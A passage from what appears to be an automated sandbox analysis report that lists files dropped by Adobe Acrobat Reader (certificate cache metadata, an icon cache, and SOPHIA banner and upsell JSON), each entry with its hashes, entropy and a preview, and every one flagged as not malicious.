..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFklCknMlltfllXlE/HT8k5RlJXNNX8RolJuRdxLlGB9lQRYwpDdt:kKbtleT8wRpNMa8RdWBwRd
MD5:	411E2F7936C68D3422718E43F55ABEB1
SHA1:	1ACA7B2B4E371A56BCEEF4E2020E15F61A1C97F9
SHA-256:	D84EE32448E5E1966D2009A71F229F2314FA34FD7D1E555B606C08404DB78DB1
SHA-512:	9D9DF665ED38FFD0B5A385EE05C18395FE4C0CA5AA5B91FDEA1FFDCB45C505D6E083333D3285EA2FB7B1749CA5398D08E0BAA475DEA059E28305D332F3F9AE70
Malicious:	false
Preview:	p...... ............L..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2455963809668185
Encrypted:	false
SSDEEP:	6:kKflL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XkDImsLNkPlE99SNxAhUe/3
MD5:	2178DDF9279D14257411CDD54B04FB3A
SHA1:	C1CB922BDB712580628D4039A373ECDA085268AC
SHA-256:	B4C5BCA654468E98E4B05B378CAD19E81E1A6199D18E4332D18791B4B5DB0BE8
SHA-512:	A9B5DE9C110B4E6B96A5E9D9BD10256300F964237642217BDCD8DF571077F15F64D45EDC2E1A1F89D8BD5743D08507BC518995875E274D8DC1C645F66CFB5B3C
Malicious:	false
Preview:	p...... ........"...L..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	243196
Entropy (8bit):	3.3450692389394283
Encrypted:	false
SSDEEP:	1536:vKPCPiyzDtrh1cK3XEivK7VK/3AYvYwgqErRo+RQn:yPClJ/3AYvYwghFo+RQn
MD5:	F5567C4FF4AB049B696D3BE0DD72A793
SHA1:	EBEADDE9FF0AF2C201A5F7CC747C9EA61CFA6916
SHA-256:	D8DBFE71873929825A420F73821F3FF0254D51984FAAA82E1B89D31188F77C04
SHA-512:	E769735991E5B1331E259608854D00CDA4F3E92285FDC500158CBD09CBCCEAD8A387F78256A43919B13EBE70C995D19242377C315B0CCBBD4F813251608C1D56
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362136294507563
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJM3g98kUwPeUkwRe9:YvXKX5ft2Zc0vlhRXnGMbLUkee9
MD5:	D571FB00D2A9822BCD4AA8D221058088
SHA1:	276B48EBA3EE63D5064583D28FA0458AF53588C7
SHA-256:	2AEFED5F16CF94B3725F40760B7EE2FB4282738CB36CF527BBEDC66A5027DDF1
SHA-512:	2168F49E31749935BAF71C009BE99445A26A11AE37A13A64028F4A989C74EC01B598CB092FA304253D19EEE87F900540852D6C4E5E873C598B916FF7CCA795B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312031727215495
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfBoTfXpnrPeUkwRe9:YvXKX5ft2Zc0vlhRXnGWTfXcUkee9
MD5:	7F75B55363CA75E55F7F70F882291FCA
SHA1:	645A05A6318248A856297EFCB89ACFBC0BDF6250
SHA-256:	FA17C0CAC390A991E47618BA30BB7A8A662146E3FA2D462FA430B7DB39990CEE
SHA-512:	62542B7F974BA55421F59C2BB33006E50DFB3F5290D6BB65BEA43ED4769477D1BA2F7D9795656FBE5B43648FC4F81B7B994B02BA3893328CA195FC0C2938683E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290170641960763
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfBD2G6UpnrPeUkwRe9:YvXKX5ft2Zc0vlhRXnGR22cUkee9
MD5:	5A69525BC0867631C4A6CDB49A8FE396
SHA1:	F3A62C89C7279B95AFB1C4EB3022BB3EDFAE0655
SHA-256:	3C8887A1F5E8F41AEE9FE2F3D9E2ECCD65961D380D37DED7F8B0C7A49F12A0E8
SHA-512:	DB00BB86C86A5735DC094633E10D7E6E56B130681C855C956B487C966B92B7B39FA8ED4D1FA895985A76D2DAAA7EBFC2F9EE82F11EAC22AAF5C2E98BD5E7501D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.349103744849752
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfPmwrPeUkwRe9:YvXKX5ft2Zc0vlhRXnGH56Ukee9
MD5:	C472347F9A76FFB4B43F921D3B41DF32
SHA1:	95882BF80E6D765339CE1C738A165E3C1D4FCC0E
SHA-256:	B814E78EB9036BAE048C61CB3524FB9DA5BA0797D3A9DC6449577FC794F8BA2C
SHA-512:	6742747E3CC4069A7E5FEA6E08BE9FF38D5733E1A0AF2A9071E880538B50E745A1915A23518E4B61FEE9B61138E0156C669A0017DEC9E643AB99CB118C30ADE8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691247260562453
Encrypted:	false
SSDEEP:	24:Yv6X5fEzvvRXspLgE9cQx8LennAvzBvkn0RCmK8czOCCS2r:YvBhXshgy6SAFv5Ah8cv/2r
MD5:	BB6E89416B36381ED7ED3CF54A97BB77
SHA1:	9142BA11912FAA76A0A867A03088B21B80F74F8B
SHA-256:	541F24679DC0F35F0C50DEE603B671D180CCFD3445AF8E8C1C3D278D7AA3F9A9
SHA-512:	9FBAED9C846F86C7FF24CD15C98A23DCA9A739746D0F862EE3703C620C645DE5A764CF3F9C24CCDA3E0F1584150CC4307E7BCBEDE59D3EF5B427D5FC6D57C6D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295749430223039
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJf8dPeUkwRe9:YvXKX5ft2Zc0vlhRXnGU8Ukee9
MD5:	4F0341CF1AC4FB4A6259AD7EC60AA28F
SHA1:	454BF22D650E38029AA98B36D81A3215787586EE
SHA-256:	6F1DCE248A68AD3C4E9AE42A688021B4594FD1A660AEE354BF54D2004E1E7EC7
SHA-512:	843DB28239A25B3859A71191332C0CA580E1A0E404963D34E52630111CE3FC051C660B3806C2CDC094B72ED86B444499B53648330BCBBF8D845A1661BEFCBD39
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.299055111852157
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfQ1rPeUkwRe9:YvXKX5ft2Zc0vlhRXnGY16Ukee9
MD5:	75C2481EE69696A1A60289CD2FABEC30
SHA1:	24A064B0AA93EBEFF53FCD685181C2540EBA0D08
SHA-256:	A821888A97DC70201A52FBBB695925F9EB90B3448C43AEB3136A7D3EC9F556C8
SHA-512:	8795AA10BD2F7AED2831ECD925AD1167D90EB0EBE7DA64B84EE4076B28C2F3BCE0652145FFA36F7F2F9C5220A247AFB7EA9D41056186F6F7A771CB8BCB766C92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305506961849678
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfFldPeUkwRe9:YvXKX5ft2Zc0vlhRXnGz8Ukee9
MD5:	60E2289F51570AE65EB019B3E3C820AF
SHA1:	DDAFC798AA2B5DD7762A1A1213A62982E6AECA74
SHA-256:	563820EC264D1F1B0B68A26DBE200925DF44E4BC7E34B2CF081C20F94FB671F3
SHA-512:	685853448E0F404B228EC77DABA1E5EAA7EA55332327C662C41FCA1F4971D8ECDC5F8828A9AE2E83C5BAC24C973857AED235A7676A4ACD1897273C5CE04EE40A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322393926024621
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfzdPeUkwRe9:YvXKX5ft2Zc0vlhRXnGb8Ukee9
MD5:	066E9BF013BD3ED66202EB48DDE0F321
SHA1:	DED10568CBD2217DE0F97F48F3AF8D7C09E9702B
SHA-256:	ABFC6CC62FF0174207055D20CCAA305849690E092363029DA192940373F9A244
SHA-512:	BDFCBE890B35D3218EC3DC041318BBF1FC8A295C00D4A295370B928C1B9E51DD4883DC3A0B1A68DB3A6A0C3E989008C9F4FB0A1AE864A936B7D1B6BA6A9BC5F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302494558666137
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfYdPeUkwRe9:YvXKX5ft2Zc0vlhRXnGg8Ukee9
MD5:	48509722B5BCF78C41A9363446CB6849
SHA1:	9ACE1EA422B8AB953291676CFB6B4374F2176605
SHA-256:	A349EDED85BFA80FFB2A923D4D3A6067E8199EAD1BCB6EC1B1FD4AC9CF09936C
SHA-512:	F5E9111E77F5B860A968861D29A5820202C1BDF873FBE8CB9F6762B791F273A8D48344E9E3200181AE9ECD71E4A70001A2636B6066A784F54741F830306C4DE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.288887840703027
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJf+dPeUkwRe9:YvXKX5ft2Zc0vlhRXnG28Ukee9
MD5:	AAB64C646F9FB8DE10BA216C338A5495
SHA1:	8E939550A3DBE942184844D44B97956D666F27D5
SHA-256:	9C9499D704494DC4795066EE2D08CE4215756B24CA1351DB7C1551421A437EA4
SHA-512:	8776C137E986A3AA2287AB41C8C73990A8D783689C4707B82526B27BB1FB156CB67B8384A2759C4BF690623B3F694A2B0D9273DE2AE0C48BFB35260DF495DCED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2860245116069
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfbPtdPeUkwRe9:YvXKX5ft2Zc0vlhRXnGDV8Ukee9
MD5:	9BCD5E4B53E6308F67446976F61E35B6
SHA1:	0F98902D2281EB4EC35066378566AD9889825DC2
SHA-256:	A211B4C2038A1723E0BD80EB1CDEFAC76F0195E9A5390B5EC687FCBC7BFD1C75
SHA-512:	A8053531E094CF91138BAD003D3E53C7485167511307D973856F2377656F06CA86A8A9E764BD8AF88396FDCB06827B37C9A829FD9D4BD474729AAE04DF9517BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2900607425699455
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJf21rPeUkwRe9:YvXKX5ft2Zc0vlhRXnG+16Ukee9
MD5:	76FC3C83BCF52716B782906FD655A9A2
SHA1:	D076E2D7CEC88B4BAEC6460A70298638BA2949BE
SHA-256:	46591CD2548D325A15928EDC755AD2FBB4107822322001E29BAE0781DFC1CD63
SHA-512:	111BB47FB0CC84492DCEC0AE16B1D19E9CAD43E0C1EEED2B372E982B3A1F5D9F3A9DBE199ADA3C82780E92B506D88CB8A521120DE0D91AD379A45C9F3C855B9F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666974167177272
Encrypted:	false
SSDEEP:	24:Yv6X5fEzvvRXYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2r:YvBhXeBgkDMUJUAh8cvM2r
MD5:	2649E76978A61291F11282C59551DEE0
SHA1:	88599E76BFC0456C129A67EC9655A225BA0B975A
SHA-256:	928BD332A9941517F7910347FE353250496E9EC93E6A9348CB6EF83A526E6ADA
SHA-512:	8EF86B5079DF4AE230673DF5704F7AE69024CE67802BEC03D7374B522D1C5FFF2830495E1293279E0041E8F48FB38B4B77AD4BD24A144F57866F09551204CB3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2663606216560455
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJfshHHrPeUkwRe9:YvXKX5ft2Zc0vlhRXnGUUUkee9
MD5:	DFA399EE7FF08E21A90E946639EB9E4B
SHA1:	933046DDD04D807861791B46505C47FA7064090A
SHA-256:	9D58A355F7E9AE5039F472315C873D628185C5A3A609F2A9AE74CF965727D3CA
SHA-512:	6605E0A2D7CC3B5E3E07DEA5794C7A927E5B0337AB5BE3751DD22DEA85EBE7D438CDCB405D7420F18634DF4546208E20FCE992A28595CEEB66FD3DBD8B053FBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.275367367447877
Encrypted:	false
SSDEEP:	6:YEQXJ2HX5fdTQLqHVoZcg1vRcR0YyhRXUoAvJTqgFCrPeUkwRe9:YvXKX5ft2Zc0vlhRXnGTq16Ukee9
MD5:	956EDCFFC95319555331978F315A5F46
SHA1:	962B6F02CFBDF8D2271E65FE51648E16AE38EDC6
SHA-256:	1A33699E9677880C930D28441DF561382E701890F54DE2F5261530C5CC2B5D9A
SHA-512:	CDB87F8D2DD465529000E870DC775C24FCE9329BDF0923DAB928EA687A923F239C7DDA92D7363719E94BA319CE0B5A96773D9CFA64238675A7F33135EA760B09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd117f04-1432-4c88-86ed-3014b033c08e","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1734175774640,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.123457940531308
Encrypted:	false
SSDEEP:	24:YjnGaSrhayIKzzVHQJAwsoPnQcnKdUPjtj0SufbyrC2iRNf2LSuRC4GJGv57mDGY:YUngFHInaBcxRpWrGkB70Lh9nN
MD5:	3984A297806FA10B319FA2DF1C4EBB07
SHA1:	767666516248BA435B2E11BF22D0B22398CB7A2D
SHA-256:	FFC94290E0A206E1CC91623D5249926B61E8CC804E25F9B28A90CD9BDD51C7CC
SHA-512:	6C4130A05113B995064282DD9D975C72F9B85EAEA8E09B08C1D35B6BCB9C9DA62928DEC9AE335D65E1C640E3F7616667EAC6A52E036014CC956CFE1DA33C9E9C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3d9ea586d99ab30959178f54ab1cf8e4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734001579000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2df119801cc04daa15aaa9fec01cfff3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1734001579000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f46599f581a9e80199839eb1d19d06b4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734001579000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ce3f663a858e75a06fc9ec6eca348d66","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734001579000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6d01801d4cc8eb6b3f70f96c76bfb6a6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734001579000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b2befef41fb88100d8